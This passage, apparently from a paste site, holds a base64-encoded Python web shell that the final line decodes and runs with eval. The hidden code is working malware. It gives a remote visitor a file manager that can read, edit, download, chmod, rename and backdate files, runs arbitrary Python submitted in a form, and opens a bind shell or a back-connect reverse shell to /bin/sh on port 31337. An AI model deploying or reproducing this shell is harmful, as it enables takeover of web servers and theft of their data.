- ZW1fc3RhdFtTVF9HSURdKSwKICAgICAgICAgICAgICAgICdwZXJtcycgOiBwZXJtc0NvbG9yKG5h
- bWUpLAogICAgICAgICAgICAgICAgJ3R5cGUnICA6IHR5cGUKICAgICAgICAgICAgICB9CiAgICAg
- ICAgcmV0dXJuIHRtcAogICAgZGlycyA9IFtkaXJJdGVtSW5mbygnLi4nLCBvcy5sc3RhdCgnLi4n
- KSldCiAgICBmaWxlcyA9IFtdCgogICAgZm9yIGl0ZW0gaW4gb3MubGlzdGRpcihjd2QpOgogICAg
- ICAgIGl0ZW1fc3RhdCA9IG9zLmxzdGF0KGl0ZW0pCiAgICAgICAgbW9kZSA9IGl0ZW1fc3RhdFtT
- VF9NT0RFXQogICAgICAgIHRtcCA9IGRpckl0ZW1JbmZvKGl0ZW0sIGl0ZW1fc3RhdCkKICAgICAg
- ICBpZiBTX0lTTE5LKG1vZGUpIG9yIFNfSVNESVIobW9kZSk6CiAgICAgICAgICAgIGRpcnMuYXBw
- ZW5kKHRtcCkKICAgICAgICBlbGlmIFNfSVNSRUcobW9kZSk6CiAgICAgICAgICAgIGZpbGVzLmFw
- cGVuZCh0bXApCgogICAgcHJpbnQgIjx0YWJsZSB3aWR0aD0nMTAwJScgY2xhc3M9J21haW4nIGNl
- bGxzcGFjaW5nPScwJyBjZWxscGFkZGluZz0nMic+PGZvcm0gbWV0aG9kPSdwb3N0Jz4iCiAgICBw
- cmludCAiIiI8dHI+PHRoPk5hbWU8L3RoPjx0aD5TaXplPC90aD48dGg+TW9kaWZ5PC90aD48dGg+
- T3duZXIvR3JvdXA8L3RoPjx0aD5QZXJtaXNzaW9uczwvdGg+PHRoPkFjdGlvbnM8L3RoPjwvdHI+
- IiIiOwogICAgCiAgICBkZWYgc29ydChhLCBiKToKICAgICAgICByZXR1cm4gY21wKGFbJ25hbWUn
- XS5sb3dlcigpLCBiWyduYW1lJ10ubG93ZXIoKSkKCiAgICBsaW5lID0gMAogICAgZm9yIGl0ZW0g
- aW4gc29ydGVkKGRpcnMsIHNvcnQpOgogICAgICAgIHByaW50ICI8dHIiCiAgICAgICAgaWYgbGlu
- ZToKICAgICAgICAgICAgcHJpbnQgIiBjbGFzcz1sMSIKICAgICAgICBwcmludCAiPjx0ZD48YSBo
- cmVmPScjJyBvbmNsaWNrPSdnKG51bGwsXCIiK2VzY2FwZShpdGVtWydwYXRoJ10pKyJcIiknPjxi
- PlsgIitjZ2kuZXNjYXBlKGl0ZW1bJ25hbWUnXSkrIiBdPC9iPjwvYT48L3RkPjx0ZD4iK2l0ZW1b
- J3R5cGUnXSsiPC90ZD48dGQ+IitpdGVtWydtdGltZSddKyI8L3RkPjx0ZD4iK2l0ZW1bJ3VpZCdd
- KyIvIitpdGVtWydnaWQnXSsiPC90ZD48dGQ+PGEgaHJlZj0jIG9uY2xpY2s9XCJnKCdmaWxlVG9v
- bHMnLCBudWxsLCAnIitlc2NhcGUoaXRlbVsnbmFtZSddKSsiJywgJ2NobW9kJylcIj4iK2l0ZW1b
- J3Blcm1zJ10rIjwvYT48L3RkPiIKICAgICAgICBwcmludCAiPHRkPjxhIGhyZWY9IyBvbmNsaWNr
- PVwiZygnZmlsZVRvb2xzJywgbnVsbCwgJyIrZXNjYXBlKGl0ZW1bJ25hbWUnXSkrIicsICdyZW5h
- bWUnKVwiPlI8L2E+IDxhIGhyZWY9IyBvbmNsaWNrPVwiZygnZmlsZVRvb2xzJywgbnVsbCwgJyIr
- ZXNjYXBlKGl0ZW1bJ25hbWUnXSkrIicsICd0b3VjaCcpXCI+VDwvYT48L3RkPjwvdHI+IgogICAg
- ICAgIGxpbmUgPSAobGluZSArIDEpJTIKICAgIGZvciBpdGVtIGluIHNvcnRlZChmaWxlcywgc29y
- dCk6CiAgICAgICAgcHJpbnQgIjx0ciIKICAgICAgICBpZiBsaW5lOgogICAgICAgICAgICBwcmlu
- dCAiIGNsYXNzPWwxIgogICAgICAgIHByaW50ICI+PHRkPjxhIGhyZWY9JyMnIG9uY2xpY2s9J2co
- XCJmaWxlVG9vbHNcIixudWxsLFwiIitlc2NhcGUoaXRlbVsnbmFtZSddKSsiXCIpJz4iK2NnaS5l
- c2NhcGUoaXRlbVsnbmFtZSddKSsiPC9hPjwvdGQ+PHRkPiIraXRlbVsnc2l6ZSddKyI8L3RkPjx0
- ZD4iK2l0ZW1bJ210aW1lJ10rIjwvdGQ+PHRkPiIraXRlbVsndWlkJ10rIi8iK2l0ZW1bJ2dpZCdd
- KyI8L3RkPjx0ZD48YSBocmVmPSMgb25jbGljaz1cImcoJ2ZpbGVUb29scycsIG51bGwsICciK2Vz
- Y2FwZShpdGVtWydwYXRoJ10pKyInLCAnY2htb2QnKVwiPiIraXRlbVsncGVybXMnXSsiPC9hPjwv
- dGQ+IgogICAgICAgIHByaW50ICI8dGQ+PGEgaHJlZj0jIG9uY2xpY2s9XCJnKCdmaWxlVG9vbHMn
- LCBudWxsLCAnIitlc2NhcGUoaXRlbVsnbmFtZSddKSsiJywgJ3JlbmFtZScpXCI+UjwvYT4gPGEg
- aHJlZj0jIG9uY2xpY2s9XCJnKCdmaWxlVG9vbHMnLCBudWxsLCAnIitlc2NhcGUoaXRlbVsnbmFt
- ZSddKSsiJywgJ3RvdWNoJylcIj5UPC9hPiA8YSBocmVmPSMgb25jbGljaz1cImcoJ2ZpbGVUb29s
- cycsIG51bGwsICciK2VzY2FwZShpdGVtWyduYW1lJ10pKyInLCAnZWRpdCcpXCI+RTwvYT4gPGEg
- aHJlZj0jIG9uY2xpY2s9XCJnKCdmaWxlVG9vbHMnLCBudWxsLCAnIitlc2NhcGUoaXRlbVsnbmFt
- ZSddKSsiJywgJ2Rvd25sb2FkJylcIj5EPC9hPjwvdGQ+PC90cj4iCiAgICAgICAgbGluZSA9IChs
- aW5lICsgMSklMgoKICAgIHByaW50ICI8L2Zvcm0+PC90YWJsZT48L2Rpdj4iCiAgICBwcmludEZv
- b3RlcigpCgpkZWYgYWN0aW9uRmlsZVRvb2xzKCk6CiAgICBpZiBfUkVRVUVTVFsncDInXSA9PSAi
- IjoKICAgICAgICBfUkVRVUVTVFsncDInXSA9ICJ2aWV3IgogICAgaWYgX1JFUVVFU1RbJ3AyJ10g
- PT0gImRvd25sb2FkIjoKICAgICAgICBwcmludCAiQ29udGVudC1EaXNwb3NpdGlvbjogYXR0YWNo
- bWVudDsgZmlsZW5hbWU9IiArIG9zLnBhdGguYmFzZW5hbWUoX1JFUVVFU1RbJ3AxJ10pICsgIlxu
- IgogICAgICAgIHRyeToKICAgICAgICAgICAgZnAgPSBvcGVuKF9SRVFVRVNUWydwMSddLCAncmIn
- KQogICAgICAgICAgICBmb3IgeCBpbiBmcC5yZWFkbGluZXMoKToKICAgICAgICAgICAgICAgIHN5
- cy5zdGRvdXQud3JpdGUoeCkKICAgICAgICAgICAgZnAuY2xvc2UoKQogICAgICAgIGV4Y2VwdDog
- cGFzcwogICAgICAgIHJldHVybgogICAgaWYgX1JFUVVFU1RbJ3AyJ10gPT0gInNhdmUiOgogICAg
- ICAgIHRyeToKICAgICAgICAgICAgZnAgPSBvcGVuKF9SRVFVRVNUWydwMSddLCAndycpCiAgICAg
- ICAgICAgIGZwLndyaXRlKF9SRVFVRVNUWydwMyddKQogICAgICAgICAgICBmcC5jbG9zZSgpCiAg
- ICAgICAgZXhjZXB0OiBwYXNzCiAgICAgICAgX1JFUVVFU1RbJ3AyJ10gPSAnZWRpdCcKICAgIHBy
- aW50SGVhZGVyKCkKICAgIHByaW50ICI8aDE+RmlsZSB0b29sczwvaDE+PGRpdiBjbGFzcz1jb250
- ZW50PiIKICAgIGl0ZW1fc3RhdCA9IG9zLnN0YXQoX1JFUVVFU1RbJ3AxJ10pCiAgICBwcmludCAi
- PHNwYW4+RmlsZTogPC9zcGFuPiIgKyBvcy5wYXRoLmJhc2VuYW1lKF9SRVFVRVNUWydwMSddKSAr
- ICIgPHNwYW4+U2l6ZTogPC9zcGFuPiAiICt2aWV3U2l6ZShpdGVtX3N0YXRbU1RfU0laRV0pICsg
- IiA8c3Bhbj5QZXJtaXNzaW9uOjwvc3Bhbj4gIiArcGVybXNDb2xvcihfUkVRVUVTVFsncDEnXSkK
- ICAgIHByaW50ICI8YnIvPiIKICAgIGlmIFNfSVNESVIoaXRlbV9zdGF0W1NUX01PREVdKToKICAg
- ICAgICBtZW51ID0gWydDaG1vZCcsICdSZW5hbWUnLCAnVG91Y2gnXQogICAgZWxzZToKICAgICAg
- ICBtZW51ID0gWydWaWV3JywgJ0Rvd25sb2FkJywgJ0VkaXQnLCAnQ2htb2QnLCAnUmVuYW1lJywg
- J1RvdWNoJ10KICAgIGZvciB4IGluIG1lbnU6CiAgICAgICAgcHJpbnQgIjxhIGhyZWY9IyBvbmNs
- aWNrPVwiZyhudWxsLCBudWxsLCBudWxsLCAnIit4Lmxvd2VyKCkrIicpXCI+IgogICAgICAgIGlm
- IHgubG93ZXIoKSA9PSBfUkVRVUVTVFsncDInXToKICAgICAgICAgICAgcHJpbnQgIjxiPlsgIiAr
- IHggKyAiIF08L2I+IgogICAgICAgIGVsc2U6CiAgICAgICAgICAgIHByaW50IHgKICAgICAgICBw
- cmludCAiPC9hPiAiCiAgICBwcmludCAiPGJyPjxicj4iOwogICAgaWYgX1JFUVVFU1RbJ3AyJ10g
- PT0gInZpZXciOgogICAgICAgIHRyeToKICAgICAgICAgICAgZnAgPSBvcGVuKF9SRVFVRVNUWydw
- MSddLCAncicpCiAgICAgICAgICAgIHByaW50ICI8cHJlIGNsYXNzPW1sMT4iCiAgICAgICAgICAg
- IGZvciB4IGluIGZwLnJlYWRsaW5lcygpOgogICAgICAgICAgICAgICAgc3lzLnN0ZG91dC53cml0
- ZShjZ2kuZXNjYXBlKHgpKQogICAgICAgICAgICBmcC5jbG9zZSgpCiAgICAgICAgICAgIHByaW50
- ICI8L3ByZT4iCiAgICAgICAgZXhjZXB0OgogICAgICAgICAgICBwcmludCAiQ2FuJ3Qgb3BlbiBm
- aWxlISAiK19SRVFVRVNUWydwMSddCiAgICBpZiBfUkVRVUVTVFsncDInXSA9PSAiZWRpdCI6CiAg
- ICAgICAgdHJ5OgogICAgICAgICAgICBmcCA9IG9wZW4oX1JFUVVFU1RbJ3AxJ10sICdyJykKICAg
- ICAgICAgICAgcHJpbnQgIjxmb3JtIG9uc3VibWl0PVwiZyhudWxsLG51bGwsJyIrZXNjYXBlKF9S
- RVFVRVNUWydwMSddKSsiJywgJ3NhdmUnLCB0aGlzLmYudmFsdWUpO3JldHVybiBmYWxzZTtcIj48
- dGV4dGFyZWEgbmFtZT1mIGNsYXNzPWJpZ2FyZWE+IgogICAgICAgICAgICBmb3IgeCBpbiBmcC5y
- ZWFkbGluZXMoKToKICAgICAgICAgICAgICAgIHN5cy5zdGRvdXQud3JpdGUoY2dpLmVzY2FwZSh4
- KSkKICAgICAgICAgICAgZnAuY2xvc2UoKQogICAgICAgICAgICBwcmludCAiPC90ZXh0YXJlYT48
- aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nJmd0OyZndDsnPjwvZm9ybT4iCiAgICAgICAgZXhj
- ZXB0OgogICAgICAgICAgICBwcmludCAiQ2FuJ3Qgb3BlbiAoY3JlYXRlKSBmaWxlISAiK19SRVFV
- RVNUWydwMSddCiAgICBpZiBfUkVRVUVTVFsncDInXSA9PSAiY2htb2QiOgogICAgICAgIGltcG9y
- dCBzdGF0LCBzdHJpbmcKICAgICAgICBpZiBsZW4oX1JFUVVFU1RbJ3AzJ10pOgogICAgICAgICAg
- ICBwZXJtID0gc3RyaW5nLmF0b2koX1JFUVVFU1RbJ3AzJ10sIDgpCiAgICAgICAgICAgIHRyeToK
- ICAgICAgICAgICAgICAgIG9zLmNobW9kKF9SRVFVRVNUWydwMSddLCBwZXJtKQogICAgICAgICAg
- ICAgICAgcHJpbnQgIkRvbmUiCiAgICAgICAgICAgIGV4Y2VwdDogcHJpbnQgIkZhaWwhIgogICAg
- ICAgIHByaW50ICI8Zm9ybSBvbnN1Ym1pdD1cImcobnVsbCxudWxsLCciK2VzY2FwZShfUkVRVUVT
- VFsncDEnXSkrIicsICdjaG1vZCcsIHRoaXMucC52YWx1ZSk7cmV0dXJuIGZhbHNlO1wiPjxpbnB1
- dCB0eXBlPSd0ZXh0JyBuYW1lPSdwJyB2YWx1ZT0nIgogICAgICAgIHByaW50ICIlbyIgJSBzdGF0
- LlNfSU1PREUob3Muc3RhdChfUkVRVUVTVFsncDEnXSlbU1RfTU9ERV0pCiAgICAgICAgcHJpbnQg
- IicvPjxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPScmZ3Q7Jmd0Oyc+PC9mb3JtPiIKICAgIGlm
- IF9SRVFVRVNUWydwMiddID09ICJyZW5hbWUiOgogICAgICAgIGlmIGxlbihfUkVRVUVTVFsncDMn
- XSk6CiAgICAgICAgICAgIHRyeToKICAgICAgICAgICAgICAgIG9zLnJlbmFtZShfUkVRVUVTVFsn
- cDEnXSwgX1JFUVVFU1RbJ3AzJ10pCiAgICAgICAgICAgICAgICBfUkVRVUVTVFsncDEnXSA9IF9S
- RVFVRVNUWydwMyddCiAgICAgICAgICAgICAgICBwcmludCAiRG9uZTxzY3JpcHQ+cDJfPSciICsg
- ZXNjYXBlKF9SRVFVRVNUWydwMyddKSArICInPC9zY3JpcHQ+IgogICAgICAgICAgICBleGNlcHQ6
- IHByaW50ICJGYWlsISIKICAgICAgICBwcmludCAiPGZvcm0gb25zdWJtaXQ9XCJnKG51bGwsbnVs
- bCwnIitlc2NhcGUoX1JFUVVFU1RbJ3AxJ10pKyInLCAncmVuYW1lJywgdGhpcy5uLnZhbHVlKTty
- ZXR1cm4gZmFsc2U7XCI+PGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J24nIHZhbHVlPSciICsgZXNj
- YXBlKF9SRVFVRVNUWydwMSddKSsgIicvPjxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPScmZ3Q7
- Jmd0Oyc+PC9mb3JtPiIKCiAgICBpZiBfUkVRVUVTVFsncDInXSA9PSAidG91Y2giOgogICAgICAg
- IGlmIGxlbihfUkVRVUVTVFsncDMnXSk6CiAgICAgICAgICAgIHRyeToKICAgICAgICAgICAgICAg
- IHRtc3RtcCA9IHRpbWUubWt0aW1lKHRpbWUuc3RycHRpbWUoX1JFUVVFU1RbJ3AzJ10sICIlWS0l
- bS0lZCAlSDolTTolUyIpKQogICAgICAgICAgICAgICAgb3MudXRpbWUoX1JFUVVFU1RbJ3AxJ10s
- ICh0bXN0bXAsIHRtc3RtcCkpCiAgICAgICAgICAgICAgICBpdGVtX3N0YXQgPSBvcy5zdGF0KF9S
- RVFVRVNUWydwMSddKQogICAgICAgICAgICAgICAgcHJpbnQgIkRvbmUiCiAgICAgICAgICAgIGV4
- Y2VwdDogcHJpbnQgIkZhaWwhIgogICAgICAgIHByaW50ICI8Zm9ybSBvbnN1Ym1pdD1cImcobnVs
- bCxudWxsLCciK2VzY2FwZShfUkVRVUVTVFsncDEnXSkrIicsICd0b3VjaCcsIHRoaXMubi52YWx1
- ZSk7cmV0dXJuIGZhbHNlO1wiPjxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSduJyB2YWx1ZT0nIgog
- ICAgICAgIHByaW50IGRhdGV0aW1lLmZyb210aW1lc3RhbXAoaXRlbV9zdGF0W1NUX01USU1FXSku
- c3RyZnRpbWUoIiVZLSVtLSVkICVIOiVNOiVTIikKICAgICAgICBwcmludCAiJy8+PGlucHV0IHR5
- cGU9J3N1Ym1pdCcgdmFsdWU9JyZndDsmZ3Q7Jz48L2Zvcm0+IgoKICAgIHByaW50ICI8L2Rpdj4i
- CiAgICBwcmludEZvb3RlcigpCgpkZWYgYWN0aW9uUHl0aG9uKCk6CiAgICBwcmludEhlYWRlcigp
- CiAgICBwcmludCAiPGgxPkV4ZWMgcHl0aG9uIGNvZGU8L2gxPjxkaXYgY2xhc3M9Y29udGVudD4i
- CiAgICBwcmludCAiIiI8Zm9ybSBuYW1lPSJjZiIgb25TdWJtaXQ9ImcobnVsbCwgbnVsbCwgdGhp
- cy5jLnZhbHVlKTtyZXR1cm4gZmFsc2U7Ij48dGV4dGFyZWEgY2xhc3M9YmlnYXJlYSBuYW1lPWM+
- IiIiCiAgICBwcmludCAnPC90ZXh0YXJlYT48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9IiZndDsm
- Z3Q7Ij4nCiAgICBpZiBsZW4oX1JFUVVFU1RbJ3AxJ10pID4gMDoKICAgICAgICBwcmludCAnPHBy
- ZSBjbGFzcz0ibWwxIiBzdHlsZT0ibWFyZ2luLXRvcDo1cHg7Ij4nCiAgICAgICAgdHJ5OgogICAg
- ICAgICAgICBpbXBvcnQgU3RyaW5nSU8KICAgICAgICAgICAgb2xkX3N0ZG91dCA9IHN5cy5zdGRv
- dXQKICAgICAgICAgICAgc3lzLnN0ZG91dCA9IFN0cmluZ0lPLlN0cmluZ0lPKCkKICAgICAgICAg
- ICAgZXhlYyhfUkVRVUVTVFsncDEnXSkKICAgICAgICAgICAgZGF0YSA9IHN5cy5zdGRvdXQuZ2V0
- dmFsdWUoKQogICAgICAgICAgICBzeXMuc3Rkb3V0ID0gb2xkX3N0ZG91dAogICAgICAgICAgICBw
- cmludCBjZ2kuZXNjYXBlKGRhdGEpCiAgICAgICAgZXhjZXB0OgogICAgICAgICAgICBwYXNzCiAg
- ICAgICAgcHJpbnQgJzwvcHJlPicKICAgIHByaW50ICI8L2Zvcm0+PC9kaXY+IgogICAgcHJpbnRG
- b290ZXIoKQoKZGVmIGFjdGlvbk5ldHdvcmsoKToKICAgIHByaW50SGVhZGVyKCkKICAgIHByaW50
- ICIiIjxoMT5OZXR3b3JrIHRvb2xzPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+CiAgICA8Zm9ybSBu
- YW1lPSduZnAnIG9uU3VibWl0PSJnKG51bGwsbnVsbCwnYnAnLHRoaXMucG9ydC52YWx1ZSk7cmV0
- dXJuIGZhbHNlOyI+Cgk8c3Bhbj5CaW5kIHBvcnQgdG8gL2Jpbi9zaDwvc3Bhbj48YnIvPgoJUG9y
- dDogPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J3BvcnQnIHZhbHVlPSczMTMzNyc+PGlucHV0IHR5
- cGU9c3VibWl0IHZhbHVlPSI+PiI+Cgk8L2Zvcm0+Cgk8Zm9ybSBuYW1lPSduZnAnIG9uU3VibWl0
- PSJnKG51bGwsbnVsbCwnYmMnLHRoaXMuc2VydmVyLnZhbHVlLHRoaXMucG9ydC52YWx1ZSk7cmV0
- dXJuIGZhbHNlOyI+Cgk8c3Bhbj5CYWNrLWNvbm5lY3QgdG88L3NwYW4+PGJyLz4KCVNlcnZlcjog
- PGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J3NlcnZlcicgdmFsdWU9JyIiIitvcy5lbnZpcm9uWydS
- RU1PVEVfQUREUiddKyIiIic+IFBvcnQ6IDxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdwb3J0JyB2
- YWx1ZT0nMzEzMzcnPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPgoJPC9mb3JtPjxicj4i
- IiIKICAgIGlmIF9SRVFVRVNUWydwMSddICE9ICIiOgogICAgICAgIHNvY2s9c29ja2V0LnNvY2tl
- dChzb2NrZXQuQUZfSU5FVCwgc29ja2V0LlNPQ0tfU1RSRUFNKQogICAgICAgIHNvY2suc2V0dGlt
- ZW91dCgxMCkKICAgIGlmIF9SRVFVRVNUWydwMSddID09ICJicCI6CiAgICAgICAgdHJ5OgogICAg
- ICAgICAgICBzb2NrLmJpbmQoKCdsb2NhbGhvc3QnLCBpbnQoX1JFUVVFU1RbJ3AyJ10pKSkKICAg
- ICAgICAgICAgc29jay5saXN0ZW4oMCkKICAgICAgICBleGNlcHQ6CiAgICAgICAgICAgIHByaW50
- ICJlcnJvciIKICAgICAgICBlbHNlOgogICAgICAgICAgICBwcmludCAiZG9uZSIKICAgICAgICBp
- ZiBvcy5mb3JrKCkhPTA6CiAgICAgICAgICAgIChjLGFkZHIpPXNvY2suYWNjZXB0KCkKICAgICAg
- ICAgICAgb3MuZHVwMihjLmZpbGVubygpLCAwKQogICAgICAgICAgICBvcy5kdXAyKGMuZmlsZW5v
- KCksIDEpCiAgICAgICAgICAgIG9zLmR1cDIoYy5maWxlbm8oKSwgMikKICAgICAgICAgICAgb3Mu
- c3lzdGVtKCcvYmluL3NoIC1pJykKICAgICAgICAgICAgYy5zaHV0ZG93bigyKQogICAgICAgICAg
- ICBzb2NrLnNodXRkb3duKDIpCiAgICBlbGlmIF9SRVFVRVNUWydwMSddID09ICJiYyI6CiAgICAg
- ICAgdHJ5OgogICAgICAgICAgICBzb2NrLmNvbm5lY3QoIChfUkVRVUVTVFsncDInXSwgaW50KF9S
- RVFVRVNUWydwMyddKSkgKQogICAgICAgIGV4Y2VwdDoKICAgICAgICAgICAgcHJpbnQgImVycm9y
- IgogICAgICAgIGVsc2U6CiAgICAgICAgICAgIHByaW50ICJkb25lIgogICAgICAgICAgICBpZiBv
- cy5mb3JrKCkhPTA6CiAgICAgICAgICAgICAgICBvcy5kdXAyKHNvY2suZmlsZW5vKCksIDApCiAg
- ICAgICAgICAgICAgICBvcy5kdXAyKHNvY2suZmlsZW5vKCksIDEpCiAgICAgICAgICAgICAgICBv
- cy5kdXAyKHNvY2suZmlsZW5vKCksIDIpCiAgICAgICAgICAgICAgICBvcy5zeXN0ZW0oJy9iaW4v
- c2ggLWknKQogICAgICAgICAgICAgICAgc29jay5zaHV0ZG93bigyKQogICAgcHJpbnQgIjwvZGl2
- PiIKICAgIHByaW50Rm9vdGVyKCkKCgp0cnk6CiAgICB7CiAgICAgICAgJ2ZpbGVzJyA6IGFjdGlv
- bkZpbGVzLAogICAgICAgICdmaWxlVG9vbHMnIDogYWN0aW9uRmlsZVRvb2xzLAogICAgICAgICdj
- b25zb2xlJyA6IGFjdGlvbkNvbnNvbGUsCiAgICAgICAgJ3B5dGhvbicgOiBhY3Rpb25QeXRob24s
- CiAgICAgICAgJ25ldHdvcmsnIDogYWN0aW9uTmV0d29yawogICAgfVtfUkVRVUVTVFsnYSddXSgp
- CmV4Y2VwdCBLZXlFcnJvcjoKICAgIHByaW50SGVhZGVyKCkKICAgIHByaW50Rm9vdGVyKCkK"""
- eval(compile(base64.b64decode(azzatssins), '<string>' ,'exec' ))
Add Comment
Please, Sign In to add comment